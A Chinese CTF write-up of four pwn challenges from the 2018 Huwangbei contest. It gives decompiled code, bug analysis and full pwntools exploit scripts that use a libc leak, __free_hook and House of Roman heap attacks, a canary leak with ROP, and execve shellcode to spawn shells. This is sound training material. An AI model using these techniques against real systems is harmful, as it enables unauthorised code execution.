2018护网杯线上赛pwn

task_shoppingCart

基本逻辑

程序分为给钱和购物两部分。

给钱部分只有给钱一个功能,money结构体中包含type和amount两个字段。给钱的时候先创建一个money结构体,然后将写好的结构体放入money_list中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct money{
char * type;
int amount;
}
int add_money()
{
void *v0; // rax
money *v1; // rax
money *v2; // ST08_8
__int64 v3; // rax
signed __int64 v4; // rcx

if ( (unsigned __int64)money_num <= 0x13 )
{
puts("I will give you $9999, but what's the currency type you want, RMB or Dollar?");
v1 = (money *)malloc(0x10uLL);
v2 = v1;
v1->amount = 9999LL;
fgets(&type[8 * money_num], 8, stdin);
v2->type = &type[8 * money_num];
v3 = money_num++;
v4 = 8 * v3;
v0 = &money_list;
*(_QWORD *)((char *)&money_list + v4) = v2;
}
else
{
LODWORD(v0) = puts("You already have enough money!");
}
return (signed int)v0;
}

购物环节有三个功能:add、modify和remove。

add_goods添加goods结构,并对name字符串的末尾置零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct goods{
char *name;
int price;
}
unsigned __int64 add_goods()
{
unsigned __int64 size; // ST10_8
goods *v1; // ST18_8
__int64 v2; // rax
char s; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( (unsigned __int64)goods_num <= 0x13 )
{
puts("How long is your goods name?");
fgets(&s, 24, stdin);
size = strtoul(&s, 0LL, 0);
v1 = (goods *)malloc(0x10uLL);
v1->price = 999LL;
v1->name = (char *)malloc(size);
puts("What is your goods name?");
v1->name[(signed int)read(0, v1->name, size) - 1] = 0;
v2 = goods_num++;
goods_list[v2] = v1;
}
else
{
puts("Your shopping cart is full now!");
}
return __readfsqword(0x28u) ^ v5;
}

remove_goods释放name后再释放goods结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 remove_goods()
{
unsigned __int64 v1; // [rsp+8h] [rbp-28h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which goods that you don't need?");
fgets(&s, 24, stdin);
v1 = strtoul(&s, 0LL, 0);
if ( v1 <= goods_num )
release(v1);
else
puts("That goods is out of your cart.");
return __readfsqword(0x28u) ^ v3;
}

_QWORD *__fastcall release(__int64 a1)
{
_QWORD *result; // rax

puts("You really don't need it?");
free(*(void **)goods_list[a1]);
free((void *)goods_list[a1]);
result = goods_list;
goods_list[a1] = 0LL;
return result;
}

modify_goods先打印name,然后修改name的内容,只能修改8字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 modify_goods()
{
unsigned __int64 v0; // rax
__int64 v1; // ST00_8
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Which goods you need to modify?");
fgets(&s, 24, stdin);
v0 = strtoul(&s, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", *(_QWORD *)goods_list[v0], v0);
*(_BYTE *)(*(_QWORD *)goods_list[v1] + read(0, *(void **)goods_list[v1], 8uLL)) = 0;
return __readfsqword(0x28u) ^ v4;
}

bug

add_goods中,当输入的size为0时,则相当于向name[-1]的位置中写入\x00,而name并没有在结尾写入\x00,由此可以泄露地址。

1
v1->name[(signed int)read(0, v1->name, size) - 1] = 0;

另外,modify_goods函数中存在数组越界的问题,对输入的index没有做检查,能够执行写操作。

1
2
3
v0 = strtoul(&s, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", *(_QWORD *)goods_list[v0], v0);
*(_BYTE *)(*(_QWORD *)goods_list[v0] + read(0, *(void **)goods_list[v0], 8uLL)) = 0;

漏洞利用

通过add_goods泄露libc地址,先分配一个大于fastbin的块并释放,该块将放入unsortedbin中,FD和BK中为libc中的地址;再add一个size=0的块时,将从该unsortedbin中分配,读入内容时相当于向块的前一个地址中写入一个0,而字符的结尾没有写0,因此可以泄露libc地址。

本题中没有使用setvbuf,stdin等标准输入输出的读写空间都是在堆上分配的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Top Chunk: 0x55f3ddcb7900
Last Remainder: 0x55f3ddcb76e0

0x55f3ddcb6000 PREV_INUSE { stdout
prev_size = 0,
size = 1041,
fd = 0x797562202c776f4e,
bk = 0x7975622079756220,
fd_nextsize = 0x20656b696c200a21,
bk_nextsize = 0x6669646f6d206f74
}
0x55f3ddcb6410 PREV_INUSE { stdin
prev_size = 0,
size = 4113,
fd = 0xa72610a360a32,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55f3ddcb7420 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x55f3dd9400a0,
bk = 0x270f,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}

因此,其他的堆分配是从0xXXX7420(其中7不是固定的)开始的。也就是说,分配的第一个money结构体money[0],起始地址就是0xXXXXXX7420(其中7不是固定的)。

利用数组越界,如果在modify_good时候输入idx指向money中的最后一个元素即money[19],就会向type[19]中输入8个字节,而modify_good会向type[19]中写入8字节后,在末尾添加一个0,如下图所示,money和type在bss段是相邻的,这个0会溢出到money[0]中,使得money[0]的地址由0xXXXXXX7420变为0xXXXXXX7400,而0xXXXXXX7400恰好是位于stdin的_IO_read_str指向的空间。如果向stdin输入足够长的字符,直到0xXXXXXX7400,并在0xXXXXXX7400处写入free_hook的地址,再modify money[0]的时候,即相当于向free_hook里写入。

1
2
3
4
5
6
7
8
.bss:0000000000202098 money_num       dq ?                    ; DATA XREF: add_money+8↑r
.bss:0000000000202098 ; add_money+53↑r ...
.bss:00000000002020A0 ; char type[160]
.bss:00000000002020A0 type db 0A0h dup(?) ; DATA XREF: add_money+62↑o
.bss:00000000002020A0 ; add_money+8B↑o
.bss:0000000000202140 ; _QWORD *money_list
.bss:0000000000202140 money_list dq ? ; DATA XREF: add_money+B6↑o
.bss:00000000002021E0 goods_list dq 14h dup(?) ; DATA XREF: add_goods+FB↑o

需要注意的是,read不会从_IO_FILE结构中的指针读取内容,而是直接进行系统调用;fgets则是从_IO_FILE结构中读取数据。在add_goods时,name是用read读取的,idx则是用fgets,因此在输入idx时,输入足够长的内容就可以填充到0xXXXXXX7400处。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.log_level='debug'
debug=1
if debug:
p = process('./2_task_shoppingCart')
else:
p = remote("49.4.78.29", 30289)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
unsorted_offset = 0x7f0e626fec78-0x7f0e6233a000
def money(dollar):
p.sendlineafter("EMMmmm, you will be a rich man!\n",'1')
p.sendlineafter("I will give you $9999, but what's the currency type you want, RMB or Dollar?\n",dollar)
def shop():
p.sendlineafter("EMMmmm, you will be a rich man!\n",'3')
def add_goods(name,length):
p.sendlineafter("Now, buy buy buy!\n",'1')
p.sendlineafter("How long is your goods name?\n",length)
p.sendafter("What is your goods name?",name)
def remove_goods(idx):
p.sendlineafter("Now, buy buy buy!\n",'2')
p.sendlineafter("Which goods that you don't need?\n",str(idx))
def modify_goods(new_name,idx):
p.sendlineafter("Now, buy buy buy!\n",'3')
p.sendlineafter("Which goods you need to modify?\n",idx)
p.sendafter("to?\n",new_name)


for i in range(20):
money("dollar")
#leak libc
shop()
add_goods("0"*8+'\x00','256')#0
add_goods('/bin/sh\x00','256')#1
remove_goods(0)
add_goods("",'0')#2

p.sendlineafter("Now, buy buy buy!\n",'3')
p.sendlineafter("Which goods you need to modify?\n",'2')
p.recvuntil(" like to modify ")
libc_addr =u64( p.recv(6).ljust(8,'\x00'))-unsorted_offset
sys_addr = libc_addr + libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']
log.info('libc_addr:%#x',libc_addr)
log.info('sys_addr:%#x',sys_addr)
log.info('free_hook:%#x',free_hook)
p.sendafter("to?\n","12345678")

#4x0->400
idx = ((0x2021d8-0x2021e0)/8)&0xffffffffffffffff
modify_goods("abcdefgh",str(idx))

#write free_hook at money[0]&
padding = 0x9400-0x8420
add_goods('a'*8,(str(padding+0x10)+'\n').ljust(padding,'a')+p64(free_hook))


#overwrite free_hook
gdb.attach(p)
idx = ((0x202140-0x2021e0)/8)&0xffffffffffffffff
if debug:
#modify_goods(p64(sys_addr),(str(idx).ljust(24,'\x00')).ljust(padding,'1')+p64(free_hook))
modify_goods(p64(sys_addr),str(idx))
else:
modify_goods(p64(sys_addr),(str(idx)+'\n' + str('2')+'\n' + str('1')+'\n').ljust(0x100,'\n')+p64(free_hook)*0x5f)

#shell
remove_goods(1)


p.interactive()

task_calendar

基本逻辑

程序有三个主要功能,add,edit和remove,有两个全局的数组存放地址和size。

add函数分配新的堆块,size限制在0~0x68之间,并在数组中记录信息。其中get_day()用于输入的星期。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int add()
{
_QWORD *v0; // rax
int idx; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]

LODWORD(v0) = get_day();
idx = (signed int)v0;
if ( (_DWORD)v0 != -1 )
{
printf("size> ");
LODWORD(v0) = read_int();
size = (signed int)v0;
if ( (signed int)v0 >= 0 && (signed int)v0 <= 0x68 )
{
addr_list[idx] = malloc((signed int)v0);
v0 = size_list;
size_list[idx] = size;
}
}
return (signed int)v0;
}

signed __int64 get_day()
{
signed __int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]

puts("which day: ");
puts("1. Monday");
puts("2. Tuesday");
puts("3. Wednesday");
puts("4. Thursday");
puts("5. Friday");
puts("6. Saturday");
puts("7. Sunday");
printf("choice> ");
v1 = read_int() - 1;
if ( v1 <= 3 || v1 > 6 )
{
if ( v1 >= 0 && v1 <= 3 )
result = (unsigned int)v1;
else
result = 0xFFFFFFFFLL;
}
else
{
puts("These days are rest time.");
result = 0xFFFFFFFFLL;
}
return result;
}

edit函数向分配好的地址内写入内容,其中用到了read_n_off_by_one,这个函数中存在一字节的溢出:规定读入的长度为a2,但在循环时读入了a2+1个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int edit()
{
unsigned __int64 __idx; // rax
int idx; // [rsp+8h] [rbp-8h]
signed int v3; // [rsp+Ch] [rbp-4h]

LODWORD(__idx) = get_day();
idx = __idx;
if ( (_DWORD)__idx != -1 )
{
__idx = addr_list[(signed int)__idx];
if ( __idx )
{
printf("size> ");
LODWORD(__idx) = read_int();
v3 = __idx; // new size
if ( (signed int)__idx > 0 )
{
__idx = size_list[idx]; // origin size
if ( v3 <= __idx )
{
printf("info> ");
LODWORD(__idx) = read_n_off_by_one(addr_list[idx], v3);
}
}
}
}
return __idx;
}

__int64 __fastcall read_n_off_by_one(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; (signed int)i <= a2; ++i ) //i=0~a2
{
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(_BYTE *)((signed int)i + a1) = 0;
return i;
}
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return i;
}

remove释放地址对应的内存,没有对指针置零。而且上面也注意到,add和edit时并不检查数组是否为零等情况,因此可以多次释放、写入。

1
2
3
4
5
6
7
8
void remove()
{
int v0; // [rsp+Ch] [rbp-4h]

v0 = get_day();
if ( v0 != -1 )
free((void *)addr_list[v0]);
}

bug

edit时能够造成一字节的溢出,可以覆写下一堆块的size字段。并且free后的不置零,存在UAF和double free漏洞。但本题没有输出,不能用常规方法泄露地址。

漏洞利用

要对以上的漏洞进行利用,涉及一个对我来说新的知识点:house of roman。该方法可以参考hackedbylh的《House of Roman实战》。

我对House of Roman的理解是,充分利用main_arena+88这个数据,它是main_arena中unsortedbin头的地址,通过简单的变形能够得到main_arena和malloc_hook的地址。利用方法为:

  1. 释放一个块到unsorted bin,并重新分配,保证FD,BK为main_arena+88。通过溢出修改该unsorted bin的size为0x71。
  2. 利用UAF构成fastbin attack,将unsorted bin链入到0x70的fastbin中,并修改unsorted bin的FD为malloc_hook-0x23地址(main_arena-0x10-0x23),此处恰好能凑成一个size字段为0x7f的块,使fastbin中结构为:fb_header->0x70chunk->unsorted bin chunk -> malloc_hook-0x23
  3. 利用unsorted bin attackbck->fd = unsorted_chunks(av),修改malloc_hook为main_arena+88
  4. 编辑malloc_hook-0x23的块,向malloc_hook写入one_gadget

本题中存在溢出,能够修改size;存在UAF,能够利用fastbin attack和unsorted bin attack,可以使用house of roman。

参照上面的步骤:

  1. 构造unsorted bin

    不能直接分配unsortedbin大小的块,利用溢出。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    add(0,0x60) #0x00
    add(0,0x60) #0x70
    add(0,24) #0xe0
    add(1,0x60) #0x100
    add(2,0x60) #0x170
    add(3,0x60) #0x1e0
    edit(0,24,'0'*24+'\xe1')
    remove(1)

    add(0,0x60)
    add(0,0x60)

    前面多分配的两块0x60是有用的,后面要用到;后面分配的两个0x60用来消耗unsorted bin。

  2. fastbin attack

    1
    2
    3
    remove(2)
    remove(3)
    edit(3,1,'\n')

    在释放两个fastbin后,#3中FD的值为#2的地址,即0xXXXXXXXXX170,在edit时输入\n会被转换为00写入,即FD变成0xXXXXXXXXX100,即指向了#1,而#1的FD为main_aren+88,因此fastbin为:#3->#1->main_aren+88。

    PS:因为read_n_off_by_one函数中用的是read函数,所以会等到读入足够的字节数才会返回,而且由于read_n_off_by_one多读入一个字节,当想读入1个字节时,传入的参数只能为0或者直接输入\n,而当参数为0时不能通过内部的检查,因此必须通过输入\n来实现写入一个字节。\n会转为\0,所以要分配第一步中的前两个chunk,使得#1的地址以\x00结尾。

    1
    2
    3
    4
    5
    bytes = (get_base(p)+libc.symbols['__malloc_hook']-0x23)&0xffff
    edit(1,1,p32(bytes)[:-2]) #change main_aren+88 to malloc_hook-0x23
    add(0,0x60) #point to 3's chunk
    add(0,0x60) #point to 1's chunk
    add(0,0x60) #point to malloc_hook-0x23

    这一系列操作结束后,addr_list[0]里存放的是malloc_hook-0x23的地址。

  3. unsorted bin attack

    构造unsorted bin的方法和第一步相同,为了利用unsorted bin attack,修改BK的值为malloc_hook-0x10,根据以往的经验,malloc_hook都是以0xb10结尾的,malloc_hook-0x10则是以0xb00结尾,因此输入\n使之变为\x00。

    需要注意的是,当unsorted bin的size大于要分配的size并且为last_remainder时,只对unsorted bin进行切分而不会解链操作。而本题中,最开始我没有再修改unsorted bin的size,使之大于要分配的fastbin的大小,但这个unsorted bin并不是last remainder,因此会把它放到对应的smallbin里并检查FD对应的chunk,而由于FD已经被修改了,引起了malloc_printerr。所以要再次修改unsorted bin的size。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    add(1,24)
    add(2,0x50)
    add(3,0x50)
    add(3,0x50)
    edit(1,24,'0'*24+'\xc1')
    remove(2)

    bytes = (get_base(p)+libc.symbols['__malloc_hook'])&0xffff
    edit(2,8,'a'*8+'\n')

    edit(1,24,'0'*24+'\x61')
    add(3,0x50)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // _int_malloc()函数         
    if (in_smallbin_range (nb) &&
    bck == unsorted_chunks (av) &&
    victim == av->last_remainder &&
    (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
    {
    /* split and reattach remainder */
    remainder_size = size - nb;
    remainder = chunk_at_offset (victim, nb);
    //只是修改头的fd和bk,没有解链
    unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
    av->last_remainder = remainder;
    remainder->bk = remainder->fd = unsorted_chunks (av);
    ……
    return p;
    }

  4. 写入one_gadget

    1
    2
    bytes = (get_base(p)+gadget[2])&0xffffff
    edit(0,21,19*'a'+p32(bytes)[:-1])

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context.log_level='debug'
gadget =[0x45216,0x4526a,0xf02a4,0xf1147]

p = process('./task_calendar')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def get_base(p):
f = open('/proc/'+str(pidof(p)[0])+'/maps','r')
while 1:
tmp = f.readline()
print tmp
if 'libc-2.23.so' in tmp:
libc_addr = int('0x'+tmp.split('-')[0],16)
f.close()
break
log.info("libc_addr:%#x",libc_addr)
return libc_addr
def add(day,size):
p.sendlineafter("4. exit\nchoice> ",'1')
p.sendlineafter("7. Sunday\nchoice> ",str(day+1))
p.sendlineafter("size> ",str(size))
def edit(day,size,info):
p.sendlineafter("4. exit\nchoice> ",'2')
p.sendlineafter("7. Sunday\nchoice> ",str(day+1))
p.sendlineafter("size> ",str(size))
p.sendafter("info> ",info)
def remove(day):
p.sendlineafter("4. exit\nchoice> ",'3')
p.sendlineafter("7. Sunday\nchoice> ",str(day+1))

#libc_base = get_base(p)&0xffff
p.sendlineafter("input calendar name> ",'0gur1')
add(0,0x60)# 0x00
add(0,0x60)# 0x70
add(0,24) # 0xe0
add(1,0x60)# 0x100
add(2,0x60)# 0x170
add(3,0x60)# 0x1e0

#overwrite #1's size to an unsorted bin size
edit(0,24,'0'*24+'\xe1')
remove(1)

add(0,0x60)
add(0,0x60)

#now #1's chunk(0x100) is in the unsorted bin
#fastbin attack
remove(2)
remove(3)
edit(3,1,'\n')

#now there are 3 chunks in fastbin:#3->#1->main_aren+88
#make:#3->#0->malloc_hook-0x23
bytes = (get_base(p)+libc.symbols['__malloc_hook']-0x23)&0xffff
log.info("bytes:%#x",bytes)
edit(1,1,p32(bytes)[:-2])
add(0,0x60)#point to 3's chunk
add(0,0x60)#point to 1's chunk
add(0,0x60)#point to malloc_hook-0x23

#edit(0,18,'a'*3+p64(0)+p64(0x7f))

#using unsorted bin attack to overwrite
add(1,24)
add(2,0x50)
add(3,0x50)
add(3,0x50)
edit(1,24,'0'*24+'\xc1')
remove(2)
gdb.attach(p)
bytes = (get_base(p)+libc.symbols['__malloc_hook'])&0xffff
edit(2,8,'a'*8+'\n')
edit(1,24,'0'*24+'\x61')
add(3,0x50)

#change main_arena+88 to one_gadget
bytes = (get_base(p)+gadget[2])&0xffffff
edit(0,21,19*'a'+p32(bytes)[:-1])
#gdb.attach(p)

add(2,0x20)



p.interactive()

huwang

通过这题学习了一些新的知识,算是查缺补漏了。

基本逻辑

这题主要的功能都在一个函数里,用来猜secret。secret的组成是读取/dev/random中的随机数,对每个字节做&1的操作,然后再使用MD5计算hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
void __noreturn secret()
{
int v0; // ST04_4
__int64 v1; // [rsp+0h] [rbp-80h]
__int64 v2; // [rsp+0h] [rbp-80h]
signed int i; // [rsp+0h] [rbp-80h]
int v4; // [rsp+4h] [rbp-7Ch]
int fd; // [rsp+8h] [rbp-78h]
int fda; // [rsp+8h] [rbp-78h]
int v7; // [rsp+Ch] [rbp-74h]
char v8; // [rsp+10h] [rbp-70h]
char s[32]; // [rsp+20h] [rbp-60h]
char s1; // [rsp+40h] [rbp-40h]
char buf; // [rsp+60h] [rbp-20h]
unsigned __int64 v12; // [rsp+78h] [rbp-8h]

v12 = __readfsqword(0x28u);
puts("please input your name");
read(0, &buf, 0x20uLL);
memset(s, 0, 0x10uLL);
puts("Do you want to guess the secret?");
read_one_by_one(&v8, 2LL);
if ( v8 == 'y' )
{
if ( access("/tmp/secret", 0) == -1 ) // check if the file exist or not
{
HIDWORD(v1) = open("/tmp/secret", 65, 511LL);
fd = open("/dev/urandom", 0); // secret comes from random
read(fd, s, 0xCuLL);
LODWORD(v1) = 0;
while ( (signed int)v1 <= 11 )
{
s[(signed int)v1] &= 1u;
LODWORD(v1) = v1 + 1;
}
write(SHIDWORD(v1), s, 0xCuLL);
close(SHIDWORD(v1));
close(fd);
}
v0 = open("/tmp/secret", 0, v1);
read(v0, s, 0xCuLL);
close(v0);
puts("Input how many rounds do you want to encrypt the secret:");
v7 = read_int();
if ( v7 > 10 )
{
puts("What? Why do you need to encrypt so many times?");
exit(-1);
}
if ( !v7 )
{
printf("At least encrypt one time", s);
exit(-1);
}
HIDWORD(v2) = open("/tmp/secret", 513);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < v7 )
{
MD5((__int64)s, 16LL, (__int64)s); //md5(secret)
LODWORD(v2) = v2 + 1;
}
write(SHIDWORD(v2), s, 0x10uLL);
close(SHIDWORD(v2));
puts("Try to guess the md5 of the secret");
read(0, &s1, 0x10uLL);
if ( !memcmp(&s1, s, 0x10uLL) )
right((__int64)&buf);
v4 = open("/tmp/secret", 513, 511LL, v2);
fda = open("/dev/urandom", 0);
read(fda, s, 0xCuLL);
for ( i = 0; i <= 11; ++i )
s[i] &= 1u;
write(v4, s, 0xCuLL);
close(v4);
close(fda);
exit(0);
}
printf("Oh!bye %s\n", &buf);
exit(0);
}

如果猜对了secret,进到right函数,right函数会输出一些信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall right(__int64 name)
{
char v1; // ST1B_1
int v3; // [rsp+1Ch] [rbp-214h]
char job; // [rsp+20h] [rbp-210h]
char s; // [rsp+120h] [rbp-110h]
unsigned __int64 v6; // [rsp+228h] [rbp-8h]

v6 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", name);
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
read_one_by_one(&job, 255LL);
v3 = snprintf(
&s,
0xFFuLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........." ".................................................................................................",
name,
&job);
puts("Here is your introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, &s, v3 - 1);
return printf("The final presentation is as follows:%s\n", &s);
}

bug

首先给自己普及几个知识点:

  1. snprintf中虽然限制了写入的size,但是返回值是要写入的字节数量,如snprintf(&s,5,”1234567890”);的返回值为10,s中内容为“12345”。
  2. 程序中虽然开启了canary保护,但是一个程序中每个函数栈帧压入的canary的值是相同的,而且多以\x00结尾,以防止泄露canary之后的内容。
  3. 当用O_WRONLY模式打开文件时,如果文件已存在,其中的内容会被清空。

在right函数里,最后一个read以snprintf的返回值作为参数,存在栈溢出漏洞,可以构造ROP;在secret函数中输入encrypt round时,虽然限制了不能大于10且不能等于0,但对负数未做检查,而在md5运算的循环里,将round转换为unsigned int进行比较,即整数溢出漏洞。

漏洞利用

构造ROP之前,需要先解决canary的问题,在secret中,允许向rbp-0x20中的buf读入0x20个字节,canary位于rbp-0x8,如果我们不输入\x00,就会泄露canary的值。另外,为了解决canary中有\x00无法泄露的问题,向buf中输入0x19个字节,覆盖住canary的\x00,就能在right函数中读取另外的七个字节。

最关键还是要解决如何进入到right函数中。利用整数溢出漏洞,round输入-1,由于转换为unsigned int非常大,会造成timeout,注意到此处open的oflag是513,即O_WROLY|O_CREATE,打开之后文件中内容已经被清空,而又由于timeout而退出,并没有像文件内写入内容,此时文件为空。对空值做MD5就是我们可预测的了。

1
2
3
4
5
6
7
8
9
HIDWORD(v2) = open("/tmp/secret", 513);    
LODWORD(v2) = 0;
while ( (unsigned int)v2 < v7 )
{
MD5((__int64)s, 16LL, (__int64)s); //md5(secret)
LODWORD(v2) = v2 + 1;
}
write(SHIDWORD(v2), s, 0x10uLL);
close(SHIDWORD(v2));

利用脚本

脚本参考的是w1cher大佬的wp,可惜大佬不公开blog。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def secret(name,rounds,md5,flag=1):
p.sendlineafter("command>> \n",'666')
p.sendafter("please input your name\n",name)
p.sendlineafter("Do you want to guess the secret?\n",'y')
p.sendlineafter("Input how many rounds do you want to encrypt the secret:\n",str(rounds))
if flag:
p.sendafter("Try to guess the md5 of the secret\n",md5)

#make the secret file empty by timeout
p = process('./4_huwang')
secret('a'*0x20,-1,'0',0)
p.recvuntil('timeout~')

#leak canary
p = process('./4_huwang')
secret('0gur1'.ljust(0x19,'a'),1,'4ae71336e44bf9bf79d2752e234818a5'.decode('hex'))

p.recvuntil("0gur1".ljust(0x19,'a'))
canary = u64('\x00'+p.recv(7))
log.info("canary:%#x",canary)

#rop1 leak libc
pop_ret_addr = 0x401573
puts_got = 0x602F70
right_addr = 0x40101C
p.sendafter("What`s your occupation?\n",'a'*0xff)
p.sendlineafter("Do you want to edit you introduce by yourself[Y/N]\n",'Y')
shellcode = 'a'*0x108+p64(canary)+p64(0)
shellcode+= p64(pop_ret_addr)+p64(puts_got)+p64(right_addr)
gdb.attach(p)
p.sendline(shellcode)

p.recvuntil("Congratulations, ")
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("puts_addr:%#x",puts_addr)
sys_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
binsh_addr = puts_addr - (libc.symbols['puts']-next(libc.search('/bin/sh')))

#rop2 getshell
p.sendafter("What`s your occupation?\n",'a'*0xff)
p.sendlineafter("Do you want to edit you introduce by yourself[Y/N]\n",'Y')
shellcode = 'a'*0x108+p64(canary)+p64(0)
shellcode+= p64(pop_ret_addr)+p64(binsh_addr)+p64(sys_addr)
p.sendline(shellcode)

p.interactive()

six

本题用mmap分配了两块内存,分别模拟.text段和栈,向.text内写入shellcode并执行。

因为这两块内存都是随机的,如果指定的地址出现冲突后,mmap会进行随机分配,这时候就会是相邻的两块。如果代表栈的那一块内存在代表.text之前,就可以通过调用read向栈中写入数据并用shell覆盖掉.text即将执行的指令即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level='debug'

p = process('./sixsixsix')
gdb.attach(p)
p.readuntil('shellcode:')
#push rsp(0x54);pop rsi(0x5e);mov rdx,esi(0x8b,0xd6);syscall(0x0f,0x05)
payload=chr(0x54)+chr(0x5e)+chr(0x8b)+chr(0xd6)+chr(0x0F)+chr(0x05)

p.send(payload)
z=[
0xB8, 0x3B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xFE, 0x48, 0x81, 0xC7, 0x4e, 0x0B, 0x00, 0x00, 0x4b, 0x48,0x33, 0xD2, 0x48,
0x33, 0xF6, 0x0F, 0x05, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00]
zz=''
for i in range(0,len(z)):
zz+=chr(z[i])
payload='b'*0xb36+zz
p.writeline(payload)
p.interactive()